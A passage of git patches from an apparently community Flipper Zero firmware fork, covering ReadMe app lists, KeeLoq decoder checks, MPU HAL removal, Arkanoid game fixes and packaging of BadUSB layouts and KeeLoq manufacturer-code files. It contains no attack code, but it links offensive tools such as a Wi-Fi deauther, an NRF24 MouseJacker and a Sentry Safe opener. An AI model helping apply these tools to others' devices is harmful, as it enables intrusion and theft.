dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) +* Simple Clock - make the clock simple while the new update is in the works * OFW: NFC: make dict attack more interactive * OFW: NFC: Edit UID feature * OFW: MPU Hal * OFW: Make printf great again +* OFW: IR remote app fixes * OFW: other changes **Note: Prefer installing using web updater or by self update package** diff --git a/ReadMe.md b/ReadMe.md index 5de0463a5..505b72e93 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -48,23 +48,24 @@ See changelog in releases for latest updates! ### Community apps included: -- ESP8266 Deauther plugin [(By SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module) -- WiFi Scanner plugin [(By SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module) -- UPC-A Barcode generator plugin [(By McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) -- GPIO: Sentry Safe plugin [(By H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) -- ESP32: WiFi Marauder companion plugin [(By 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) -- NRF24: Sniffer & MouseJacker (with changes) [(By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) -- HID Analyzer [(By Ownasaurus)](https://github.com/Ownasaurus/flipperzero-firmware/tree/hid-analyzer/applications/hid_analyzer) +- ESP8266 Deauther plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module) +- WiFi Scanner plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module) +- UPC-A Barcode generator plugin [(by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) +- GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) +- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +- NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) +- HID Analyzer [(by Ownasaurus)](https://github.com/Ownasaurus/flipperzero-firmware/tree/hid-analyzer/applications/hid_analyzer) - Simple Clock (fixed) !! New version WIP, wait for updates !! [(Original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) -- UniversalRF Remix (with changes)(only RAW subghz files) [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) -- Tetris (with fixes) [(By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) -- Spectrum Analyzer (with changes) [(By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) -- Arkanoid (with fixes) [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) -- Tic Tac Toe (with fixes) [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- UniversalRF Remix (with changes)(only RAW subghz files) [(by ESurge)(Original UniversalRF by jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) +- Tetris (with fixes) [(by jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) +- Spectrum Analyzer (with changes) [(by jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) +- Arkanoid (with fixes) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- Tic Tac Toe (with fixes) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) ### Other changes -- BadUSB Keyboard layouts [(By rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) +- BadUSB Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) +- New frequency analyzer - [(by ClusterM)](https://github.com/ClusterM) ## Support us so we can buy equipment and develop new features * ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` @@ -97,6 +98,10 @@ See changelog in releases for latest updates! ## [- How to use: [ESP32] WiFi Marauder](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard) +## [- [WiFi] Scanner - Web Flasher for module firmware](https://sequoiasan.github.io/FlipperZero-WiFi-Scanner_Module/) + +## [- [ESP8266] Deauther - Web Flasher for module firmware](https://sequoiasan.github.io/FlipperZero-Wifi-ESP8266-Deauther-Module/) + ## [- Windows: How to Upload .bin to ESP32/ESP8266](https://github.com/SequoiaSan/Guide-How-To-Upload-bin-to-ESP8266-ESP32) ## [- How to use: [GPIO] SentrySafe plugin](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SentrySafe.md) From ffc3b634b85a9c4f8147c55aebda52581d6046f4 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 6 Aug 2022 05:18:05 +0300 Subject: [PATCH 444/461] a bit of fixes --- applications/bad_usb/bad_usb_app.c | 2 +- lib/subghz/protocols/keeloq.c | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 180d87959..9891c49b9 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -115,7 +115,7 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { void bad_usb_app_free(BadUsbApp* app) { furi_assert(app); - if(app->bad_usb_script != NULL) { + if(app->bad_usb_script) { bad_usb_script_close(app->bad_usb_script); app->bad_usb_script = NULL; } diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 28a9609d2..b48eebe9f 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -905,6 +905,11 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl FURI_LOG_E(TAG, "Deserialize error"); break; } + if(instance->generic.data_count_bit != + subghz_protocol_keeloq_const.min_count_bit_for_found) { + FURI_LOG_E(TAG, "Wrong number of bits in key"); + break; + } if(!flipper_format_rewind(flipper_format)) { FURI_LOG_E(TAG, "Rewind error"); break; From 4bbec63f8730d751fab20bf1d59e6fda6f700caf Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 6 Aug 2022 05:35:14 +0300 Subject: [PATCH 445/461] removing MPU Hal - details in desc since it impossible for me to debug NULL pointer dereference without flipper, blind developing went to its end --- firmware/targets/f7/Inc/FreeRTOSConfig.h | 6 +- firmware/targets/f7/furi_hal/furi_hal.c | 13 ++- .../targets/f7/furi_hal/furi_hal_interrupt.c | 19 ---- firmware/targets/f7/furi_hal/furi_hal_mpu.c | 66 -------------- .../targets/furi_hal_include/furi_hal_mpu.h | 86 ------------------- furi/core/memmgr.c | 6 +- 6 files changed, 16 insertions(+), 180 deletions(-) delete mode 100644 firmware/targets/f7/furi_hal/furi_hal_mpu.c delete mode 100644 firmware/targets/furi_hal_include/furi_hal_mpu.h diff --git a/firmware/targets/f7/Inc/FreeRTOSConfig.h b/firmware/targets/f7/Inc/FreeRTOSConfig.h index f54d774ca..4f9d1fcf9 100644 --- a/firmware/targets/f7/Inc/FreeRTOSConfig.h +++ b/firmware/targets/f7/Inc/FreeRTOSConfig.h @@ -32,7 +32,7 @@ extern uint32_t SystemCoreClock; #define configUSE_16_BIT_TICKS 0 #define configUSE_MUTEXES 1 #define configQUEUE_REGISTRY_SIZE 0 -#define configCHECK_FOR_STACK_OVERFLOW 0 +#define configCHECK_FOR_STACK_OVERFLOW 2 #define configUSE_RECURSIVE_MUTEXES 1 #define configUSE_COUNTING_SEMAPHORES 1 #define configENABLE_BACKWARD_COMPATIBILITY 0 @@ -145,7 +145,3 @@ standard names. */ #define USE_CUSTOM_SYSTICK_HANDLER_IMPLEMENTATION 1 #define configOVERRIDE_DEFAULT_TICK_CONFIGURATION \ 1 /* required only for Keil but does not hurt otherwise */ - -#define traceTASK_SWITCHED_IN() \ - extern void furi_hal_mpu_set_stack_protection(uint32_t* stack); \ - furi_hal_mpu_set_stack_protection((uint32_t*)pxCurrentTCB->pxStack) diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index 23f409736..0cef33ddf 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -1,5 +1,4 @@ #include -#include #include @@ -36,7 +35,6 @@ void furi_hal_deinit_early() { } void furi_hal_init() { - furi_hal_mpu_init(); furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); @@ -82,6 +80,17 @@ void furi_hal_init() { // FatFS driver initialization MX_FATFS_Init(); FURI_LOG_I(TAG, "FATFS OK"); + + // Partial null pointer dereference protection + LL_MPU_Disable(); + LL_MPU_ConfigRegion( + LL_MPU_REGION_NUMBER0, + 0x00, + 0x0, + LL_MPU_REGION_SIZE_1MB | LL_MPU_REGION_PRIV_RO_URO | LL_MPU_ACCESS_BUFFERABLE | + LL_MPU_ACCESS_CACHEABLE | LL_MPU_ACCESS_SHAREABLE | LL_MPU_TEX_LEVEL1 | + LL_MPU_INSTRUCTION_ACCESS_ENABLE); + LL_MPU_Enable(LL_MPU_CTRL_PRIVILEGED_DEFAULT); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_interrupt.c b/firmware/targets/f7/furi_hal/furi_hal_interrupt.c index 038ae9489..fa595921a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_interrupt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_interrupt.c @@ -6,7 +6,6 @@ #include #include #include -#include #define TAG "FuriHalInterrupt" @@ -96,10 +95,6 @@ void furi_hal_interrupt_init() { LL_SYSCFG_DisableIT_FPU_IDC(); LL_SYSCFG_DisableIT_FPU_IXC(); - LL_HANDLER_EnableFault(LL_HANDLER_FAULT_USG); - LL_HANDLER_EnableFault(LL_HANDLER_FAULT_BUS); - LL_HANDLER_EnableFault(LL_HANDLER_FAULT_MEM); - FURI_LOG_I(TAG, "Init OK"); } @@ -246,20 +241,6 @@ void HardFault_Handler() { } void MemManage_Handler() { - if(FURI_BIT(SCB->CFSR, SCB_CFSR_MMARVALID_Pos)) { - uint32_t memfault_address = SCB->MMFAR; - if(memfault_address < (1024 * 1024)) { - // from 0x00 to 1MB, see FuriHalMpuRegionNULL - furi_crash("NULL pointer dereference"); - } else { - // write or read of MPU region 1 (FuriHalMpuRegionStack) - furi_crash("MPU fault, possibly stack overflow"); - } - } else if(FURI_BIT(SCB->CFSR, SCB_CFSR_MSTKERR_Pos)) { - // push to stack on MPU region 1 (FuriHalMpuRegionStack) - furi_crash("MemManage fault, possibly stack overflow"); - } - furi_crash("MemManage"); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_mpu.c b/firmware/targets/f7/furi_hal/furi_hal_mpu.c deleted file mode 100644 index ea6cd55be..000000000 --- a/firmware/targets/f7/furi_hal/furi_hal_mpu.c +++ /dev/null @@ -1,66 +0,0 @@ -#include -#include - -#define FURI_HAL_MPU_ATTRIBUTES \ - (LL_MPU_ACCESS_BUFFERABLE | LL_MPU_ACCESS_CACHEABLE | LL_MPU_ACCESS_SHAREABLE | \ - LL_MPU_TEX_LEVEL1 | LL_MPU_INSTRUCTION_ACCESS_ENABLE) - -#define FURI_HAL_MPU_STACK_PROTECT_REGION FuriHalMPURegionSize32B - -void furi_hal_mpu_init() { - furi_hal_mpu_enable(); - - // NULL pointer dereference protection - furi_hal_mpu_protect_no_access(FuriHalMpuRegionNULL, 0x00, FuriHalMPURegionSize1MB); -} - -void furi_hal_mpu_enable() { - LL_MPU_Enable(LL_MPU_CTRL_PRIVILEGED_DEFAULT); -} - -void furi_hal_mpu_disable() { - LL_MPU_Disable(); -} - -void furi_hal_mpu_protect_no_access( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size) { - uint32_t size_ll = size; - size_ll = size_ll << MPU_RASR_SIZE_Pos; - - furi_hal_mpu_disable(); - LL_MPU_ConfigRegion( - region, 0x00, address, FURI_HAL_MPU_ATTRIBUTES | LL_MPU_REGION_NO_ACCESS | size_ll); - furi_hal_mpu_enable(); -} - -void furi_hal_mpu_protect_read_only( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size) { - uint32_t size_ll = size; - size_ll = size_ll << MPU_RASR_SIZE_Pos; - - furi_hal_mpu_disable(); - LL_MPU_ConfigRegion( - region, 0x00, address, FURI_HAL_MPU_ATTRIBUTES | LL_MPU_REGION_PRIV_RO_URO | size_ll); - furi_hal_mpu_enable(); -} - -void furi_hal_mpu_protect_disable(FuriHalMpuRegion region) { - furi_hal_mpu_disable(); - LL_MPU_DisableRegion(region); - furi_hal_mpu_enable(); -} - -void furi_hal_mpu_set_stack_protection(uint32_t* stack) { - // Protection area address must be aligned to region size - uint32_t stack_ptr = (uint32_t)stack; - uint32_t mask = ((1 << (FURI_HAL_MPU_STACK_PROTECT_REGION + 2)) - 1); - stack_ptr &= ~mask; - if(stack_ptr < (uint32_t)stack) stack_ptr += (mask + 1); - - furi_hal_mpu_protect_read_only( - FuriHalMpuRegionStack, stack_ptr, FURI_HAL_MPU_STACK_PROTECT_REGION); -} \ No newline at end of file diff --git a/firmware/targets/furi_hal_include/furi_hal_mpu.h b/firmware/targets/furi_hal_include/furi_hal_mpu.h deleted file mode 100644 index 5dddadeb6..000000000 --- a/firmware/targets/furi_hal_include/furi_hal_mpu.h +++ /dev/null @@ -1,86 +0,0 @@ -/** - * @file furi_hal_light.h - * Light control HAL API - */ - -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - FuriHalMpuRegionNULL = 0x00, // region 0 used to protect null pointer dereference - FuriHalMpuRegionStack = 0x01, // region 1 used to protect stack - FuriHalMpuRegion2 = 0x02, - FuriHalMpuRegion3 = 0x03, - FuriHalMpuRegion4 = 0x04, - FuriHalMpuRegion5 = 0x05, - FuriHalMpuRegion6 = 0x06, - FuriHalMpuRegion7 = 0x07, -} FuriHalMpuRegion; - -typedef enum { - FuriHalMPURegionSize32B = 0x04U, - FuriHalMPURegionSize64B = 0x05U, - FuriHalMPURegionSize128B = 0x06U, - FuriHalMPURegionSize256B = 0x07U, - FuriHalMPURegionSize512B = 0x08U, - FuriHalMPURegionSize1KB = 0x09U, - FuriHalMPURegionSize2KB = 0x0AU, - FuriHalMPURegionSize4KB = 0x0BU, - FuriHalMPURegionSize8KB = 0x0CU, - FuriHalMPURegionSize16KB = 0x0DU, - FuriHalMPURegionSize32KB = 0x0EU, - FuriHalMPURegionSize64KB = 0x0FU, - FuriHalMPURegionSize128KB = 0x10U, - FuriHalMPURegionSize256KB = 0x11U, - FuriHalMPURegionSize512KB = 0x12U, - FuriHalMPURegionSize1MB = 0x13U, - FuriHalMPURegionSize2MB = 0x14U, - FuriHalMPURegionSize4MB = 0x15U, - FuriHalMPURegionSize8MB = 0x16U, - FuriHalMPURegionSize16MB = 0x17U, - FuriHalMPURegionSize32MB = 0x18U, - FuriHalMPURegionSize64MB = 0x19U, - FuriHalMPURegionSize128MB = 0x1AU, - FuriHalMPURegionSize256MB = 0x1BU, - FuriHalMPURegionSize512MB = 0x1CU, - FuriHalMPURegionSize1GB = 0x1DU, - FuriHalMPURegionSize2GB = 0x1EU, - FuriHalMPURegionSize4GB = 0x1FU, -} FuriHalMPURegionSize; - -/** - * @brief Initialize memory protection unit - */ -void furi_hal_mpu_init(); - -/** -* @brief Enable memory protection unit -*/ -void furi_hal_mpu_enable(); - -/** -* @brief Disable memory protection unit -*/ -void furi_hal_mpu_disable(); - -void furi_hal_mpu_protect_no_access( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size); - -void furi_hal_mpu_protect_read_only( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size); - -void furi_hal_mpu_protect_disable(FuriHalMpuRegion region); - -#ifdef __cplusplus -} -#endif diff --git a/furi/core/memmgr.c b/furi/core/memmgr.c index 80f87b930..01cf573eb 100644 --- a/furi/core/memmgr.c +++ b/furi/core/memmgr.c @@ -36,8 +36,10 @@ void* calloc(size_t count, size_t size) { } char* strdup(const char* s) { - // arg s marked as non-null, so we need hack to check for NULL - furi_check(((uint32_t)s << 2) != 0); + const char* s_null = s; + if(s_null == NULL) { + return NULL; + } size_t siz = strlen(s) + 1; char* y = pvPortMalloc(siz); From 4a4f3d2b272bc3fccd90eab2187022ad287df5fc Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 6 Aug 2022 05:41:06 +0300 Subject: [PATCH 446/461] err messages --- lib/subghz/protocols/keeloq.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index b48eebe9f..1d3ae74bd 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -344,7 +344,7 @@ bool subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* fl seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; } if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { - FURI_LOG_E(TAG, "Missing Seed"); + FURI_LOG_E(TAG, "ENCODER: Missing Seed"); } instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; @@ -919,7 +919,7 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; } if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { - FURI_LOG_E(TAG, "Missing Seed"); + FURI_LOG_E(TAG, "DECODER: Missing Seed"); } instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; From 925c668bad01cb713f3d65c14477cb6001259faf Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 6 Aug 2022 05:45:54 +0300 Subject: [PATCH 447/461] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 03c098323..10dfa4aa7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,7 @@ * New frequency analyzer - [(by ClusterM)](https://github.com/ClusterM) - see PR #43 for details * BadUSB keyboard layouts - now its possible to load keyboard layouts from microSD - [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) * Simple Clock - make the clock simple while the new update is in the works +* Lowered time required to hold back button to poweroff - from 5sec to 3sec - PR #42 * OFW: NFC: make dict attack more interactive * OFW: NFC: Edit UID feature * OFW: MPU Hal From 1396ccf789b80e2e324f0501510a17d489b25f45 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 6 Aug 2022 07:07:31 +0300 Subject: [PATCH 448/461] add badusb layouts in sd-card zip will be in next release --- .drone.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.drone.yml b/.drone.yml index 0bcd97780..997c055ed 100644 --- a/.drone.yml +++ b/.drone.yml @@ -36,6 +36,8 @@ steps: - mkdir -p sd-card/nfc/assets - mkdir -p sd-card/infrared/assets - mkdir -p sd-card/unirf + - mkdir -p sd-card/badusb/layouts + - cp assets/resources/badusb/layouts/* sd-card/badusb/layouts/ - cp assets/resources/subghz/assets/dangerous_settings sd-card/subghz/assets/dangerous_settings - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user - cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes From 99380add06bfdf0b00481eb9bf5dff688ec06486 Mon Sep 17 00:00:00 2001 From: Ian Milan <98004719+DevMilanIan@users.noreply.github.com> Date: Sat, 6 Aug 2022 21:37:26 -0400 Subject: [PATCH 449/461] Fixes and improvements Add a visual representation of your lives, a score counter, and prevent NULL pointer dereference upon relaunch --- applications/arkanoid/arkanoid_game.c | 65 ++++++++++++++++++++------- 1 file changed, 48 insertions(+), 17 deletions(-) diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c index 419794a10..152bf0fcb 100644 --- a/applications/arkanoid/arkanoid_game.c +++ b/applications/arkanoid/arkanoid_game.c @@ -21,7 +21,7 @@ int lives = 3; //Amount of lives int level = 1; //Current level unsigned int score = 0; //Score for the game unsigned int brickCount; //Amount of bricks hit -int pad, pad2, pad3; //Button press buffer used to stop pause repeating +int pad1, pad2, pad3; //Button press buffer used to stop pause repeating int oldpad, oldpad2, oldpad3; char text[16]; //General string buffer bool start = false; //If in menu or in game @@ -115,9 +115,6 @@ void move_ball(Canvas* canvas) { released = false; lives--; - snprintf(text, sizeof(text), "LIVES:%u", lives); - canvas_draw_str(canvas, 0, 90, text); - // arduboy.tunes.tone(175, 250); if(rand_range(0, 2) == 0) { dx = 1; @@ -165,10 +162,7 @@ void move_ball(Canvas* canvas) { //If A collison has occured if(topBall <= bottomBrick && bottomBall >= topBrick && leftBall <= rightBrick && rightBall >= leftBrick) { - // Draw score score += (level * 10); - snprintf(text, sizeof(text), "SCORE:%u", score); - canvas_draw_str(canvas, 80, 90, text); brickCount++; isHit[row][column] = true; @@ -209,8 +203,42 @@ void move_ball(Canvas* canvas) { } void draw_lives(Canvas* canvas) { - snprintf(text, sizeof(text), "LIVES:%u", lives); - canvas_draw_str(canvas, 0, 90, text); + if(lives == 3) { + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8); + + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11); + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12); + + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 15); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 15); + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 16); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 16); + } else if(lives == 2) { + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8); + + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11); + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12); + } else { + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); + canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); + canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8); + } +} + +void draw_score(Canvas* canvas) { + snprintf(text, sizeof(text), "%u", score); + canvas_draw_str_aligned(canvas, FLIPPER_LCD_WIDTH - 2, FLIPPER_LCD_HEIGHT - 6, AlignRight, AlignBottom, text); } void draw_ball(Canvas* canvas) { @@ -286,8 +314,9 @@ static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) { if(lives > 0) { draw_paddle(canvas); - draw_ball(canvas); + draw_score(canvas); + draw_lives(canvas); if(brickCount == ROWS * COLUMNS) { level++; @@ -320,6 +349,7 @@ static void arkanoid_update_timer_callback(FuriMessageQueue* event_queue) { int32_t arkanoid_game_app(void* p) { UNUSED(p); + int32_t return_code = 0; // Set random seed from interrupts srand(DWT->CYCCNT); @@ -331,8 +361,8 @@ int32_t arkanoid_game_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, arkanoid_state, sizeof(ArkanoidState))) { FURI_LOG_E(TAG, "Cannot create mutex\r\n"); - free(arkanoid_state); - return 255; + return_code = 255; + goto free_and_exit; } // Set system callbacks @@ -401,15 +431,16 @@ int32_t arkanoid_game_app(void* p) { view_port_update(view_port); release_mutex(&state_mutex, arkanoid_state); } - furi_timer_free(timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); view_port_free(view_port); - furi_message_queue_free(event_queue); delete_mutex(&state_mutex); - free(arkanoid_state); - return 0; -} \ No newline at end of file +free_and_exit: + free(arkanoid_state); + furi_message_queue_free(event_queue); + + return return_code; +} From 044338b8f2dc9cbcd5acedea7776679b9f738f14 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 7 Aug 2022 09:59:03 +0300 Subject: [PATCH 450/461] make arkanoid (not) great again and small changes for other games --- .github/CODEOWNERS | 91 ----- .github/ISSUE_TEMPLATE/01_bug_report.yml | 85 ++-- .github/ISSUE_TEMPLATE/02_enhancements.yml | 35 +- .github/ISSUE_TEMPLATE/03_feature_request.yml | 41 +- .github/ISSUE_TEMPLATE/config.yml | 9 +- applications/arkanoid/application.fam | 2 +- applications/arkanoid/arkanoid_game.c | 372 +++++++++--------- applications/snake_game/snake_game.c | 22 +- applications/tetris_game/application.fam | 2 +- 9 files changed, 294 insertions(+), 365 deletions(-) delete mode 100644 .github/CODEOWNERS diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS deleted file mode 100644 index 71acb5f14..000000000 --- a/.github/CODEOWNERS +++ /dev/null @@ -1,91 +0,0 @@ -# Who owns all the fish by default -* @skotopes @DrZlo13 @hedger - -# Apps -/applications/about/ @skotopes @DrZlo13 @hedger -/applications/accessor/ @skotopes @DrZlo13 @hedger -/applications/archive/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/bad_usb/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/bt/ @skotopes @DrZlo13 @hedger @gornekich -/applications/cli/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/crypto/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/debug_tools/ @skotopes @DrZlo13 @hedger -/applications/desktop/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/dialogs/ @skotopes @DrZlo13 @hedger -/applications/dolphin/ @skotopes @DrZlo13 @hedger -/applications/gpio/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/gui/ @skotopes @DrZlo13 @hedger -/applications/ibutton/ @skotopes @DrZlo13 @hedger @gsurkov -/applications/infrared/ @skotopes @DrZlo13 @hedger @gsurkov -/applications/infrared_monitor/ @skotopes @DrZlo13 @hedger @gsurkov -/applications/input/ @skotopes @DrZlo13 @hedger -/applications/lfrfid/ @skotopes @DrZlo13 @hedger -/applications/lfrfid_debug/ @skotopes @DrZlo13 @hedger -/applications/loader/ @skotopes @DrZlo13 @hedger -/applications/music_player/ @skotopes @DrZlo13 @hedger -/applications/nfc/ @skotopes @DrZlo13 @hedger @gornekich -/applications/notification/ @skotopes @DrZlo13 @hedger -/applications/power/ @skotopes @DrZlo13 @hedger -/applications/rpc/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/snake_game/ @skotopes @DrZlo13 @hedger -/applications/storage/ @skotopes @DrZlo13 @hedger -/applications/storage_settings/ @skotopes @DrZlo13 @hedger -/applications/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm -/applications/system/ @skotopes @DrZlo13 @hedger -/applications/u2f/ @skotopes @DrZlo13 @hedger @nminaylov -/applications/unit_tests/ @skotopes @DrZlo13 @hedger -/applications/updater/ @skotopes @DrZlo13 @hedger - -# Assets -/assets/ @skotopes @DrZlo13 @hedger - -# Furi Core -/furi/ @skotopes @DrZlo13 @hedger - -# Debug tools and plugins -/debug/ @skotopes @DrZlo13 @hedger - -# Docker -/docker/ @skotopes @DrZlo13 @hedger @aprosvetova -/docker-compose.yml @skotopes @DrZlo13 @hedger @aprosvetova - -# Documentation -/documentation/ @skotopes @DrZlo13 @hedger @aprosvetova - -# Firmware targets -/firmware/ @skotopes @DrZlo13 @hedger - -# Lib -/lib/FreeRTOS-Kernel/ @skotopes @DrZlo13 @hedger -/lib/FreeRTOS-glue/ @skotopes @DrZlo13 @hedger -/lib/ST25RFAL002/ @skotopes @DrZlo13 @hedger @gornekich -/lib/STM32CubeWB/ @skotopes @DrZlo13 @hedger @gornekich -/lib/app-scened-template/ @skotopes @DrZlo13 @hedger -/lib/callback-connector/ @skotopes @DrZlo13 @hedger -/lib/digital_signal/ @skotopes @DrZlo13 @hedger @gornekich -/lib/drivers/ @skotopes @DrZlo13 @hedger 